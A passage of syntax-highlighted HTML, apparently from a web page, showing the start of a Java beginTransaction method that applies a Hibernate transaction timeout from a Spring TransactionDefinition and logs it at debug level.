padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">public</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Object</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> beginTransaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">final</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManager</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> entityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">final</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionDefinition</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">throws</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">SQLException</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getTimeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionDefinition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TIMEOUT_DEFAULT</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
getSession</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">entityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">).</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getTransaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">().</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setTimeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getTimeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">());</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isDebugEnabled</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">())</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"****config hibernate transaction timeout:"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getTimeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">());</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
